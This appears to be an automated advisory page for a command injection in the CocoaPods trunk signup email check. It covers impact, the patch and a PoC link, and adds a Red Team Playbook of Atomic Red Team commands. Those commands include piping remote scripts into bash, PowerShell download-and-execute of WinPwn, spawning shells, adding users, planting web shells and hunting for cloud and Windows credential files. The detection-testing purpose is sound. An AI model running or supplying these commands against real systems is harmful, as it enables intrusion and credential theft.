CVE-2024-38366
Overview
This vulnerability is a command injection flaw in the email verification component of the CocoaPods trunk authentication server. The root cause lies in the use of an rfc-822 library that executes shell commands to validate email domain MX records. The affected component is the signup process on trunk.cocoapods.org, where the server performs DNS MX record lookups using this unsafe mechanism.
Vulnerability Description
trunk.cocoapods.org is the authentication server for the CoacoaPods dependency manager. The part of trunk which verifies whether a user has a real email address on signup used a rfc-822 library which executes a shell command to validate the email domain MX records validity. It works via an DNS MX. This lookup could be manipulated to also execute a command on the trunk server, effectively giving root access to the server and the infrastructure. This issue was patched server-side with commit 001cc3a430e75a16307f5fd6cdff1363ad2f40f3 in September 2023. This RCE triggered a full user-session reset, as an attacker could have used this method to write to any Podspec in trunk.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary commands as root on the trunk server, enabling full compromise of the server and its infrastructure. This includes the ability to modify any Podspec in the trunk repository and forcibly reset all user sessions. The attack requires only network access to the signup functionality and no user interaction beyond submitting a crafted email, as reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
The vulnerability was addressed by a server-side patch committed in September 2023 (commit 001cc3a430e75a16307f5fd6cdff1363ad2f40f3). Users and administrators should refer to the CocoaPods security advisory GHSA-x2x4-g675-qg7c for detailed remediation steps and ensure the trunk.cocoapods.org server is updated accordingly. Additional information and patch instructions are available at https://github.com/CocoaPods/CocoaPods/security/advisories/GHSA-x2x4-g675-qg7c and the official CocoaPods blog post.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the authentication server for the CocoaPods dependency manager arises from a flaw in the email verification process during user signup. Specifically, the implementation relied on a library that executed shell commands to validate the existence of email domain MX records. This design flaw allowed an attacker to manipulate the DNS MX lookup process, potentially executing arbitrary commands on the server. By exploiting this vulnerability, an attacker could gain root access to the server, compromising the integrity of the entire infrastructure. The root cause lies in the improper handling of user input and the execution of system commands without adequate sanitization or validation, which is a common pitfall in software development.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be exploited. An attacker could craft a malicious email address during the signup process, which would trigger the flawed validation mechanism. By controlling the DNS response, the attacker could execute arbitrary commands on the server, leading to a full compromise of the system. This could allow the attacker to manipulate Podspec files, which are critical for managing dependencies in applications built on CocoaPods. Furthermore, the potential for a complete user-session reset adds another layer of risk, as it could disrupt service for legitimate users and lead to unauthorized access to sensitive data.
The real-world impact of this vulnerability is significant, especially for organizations relying on CocoaPods for dependency management in their software development processes. A successful exploitation could lead to unauthorized modifications of libraries, introducing malicious code into applications that utilize these dependencies. This not only jeopardizes the security of the applications but also poses a reputational risk for organizations, as users may lose trust in software that relies on compromised libraries. Additionally, the financial implications of a breach could be substantial, including costs related to incident response, legal liabilities, and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that all software components are regularly updated to incorporate security patches, as demonstrated by the server-side fix that was deployed in September 2023. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities in their systems proactively. Employing a web application firewall (WAF) can help filter out malicious input before it reaches the application layer. Furthermore, adopting a principle of least privilege for system commands and ensuring that user input is properly sanitized can significantly reduce the attack surface and prevent similar vulnerabilities in the future.
In conclusion, the vulnerability in the CocoaPods authentication server highlights critical weaknesses in software design and implementation. The potential for arbitrary command execution poses a severe risk to the integrity and security of software development processes. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing robust detection and mitigation strategies is essential to safeguarding their infrastructure and maintaining the trust of their users.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-38366, coinciding with the emergence of new proof-of-concept exploits publicly available on code-sharing platforms. This development signals increased attacker interest and lowers the barrier for adversaries to weaponize the vulnerability, amplifying the risk to organizations relying on CocoaPods infrastructure. Our telemetry indicates that while the overall exploit activity remains contained, the upward trend in detection events suggests a growing reconnaissance and exploitation phase. The slight uptick in the EPSS score, now approaching the upper percentile range, corroborates this heightened threat environment. Consequently, the risk level associated with this vulnerability has shifted from theoretical to actively exploited, underscoring the urgency for defenders to prioritize monitoring and response efforts around this vector.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cocoapods | Trunk.cocoapods.org | All |
cpe:2.3:a:cocoapods:trunk.cocoapods.org:*:*:*:*:ruby:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ReeFSpeK/CocoaPods-RCE_CVE-2024-38366
CocoaPods RCE Vulnerability CVE-2024-38366
|
ReeFSpeK | 1 | 0 | 2024-06-28 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-38366 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/CocoaPods/CocoaPods/security/advisories/GHSA-x2x4-g675-qg7c |
| blog.cocoapods.org |
GitHub CVE
x_refsource_MISC
|
https://blog.cocoapods.org/CocoaPods-Trunk-RCEs-2023 |
| evasec.webflow.io |
GitHub CVE
x_refsource_MISC
|
https://evasec.webflow.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods#2-remote-code-execution-on-the-cocoapods-trunk-server |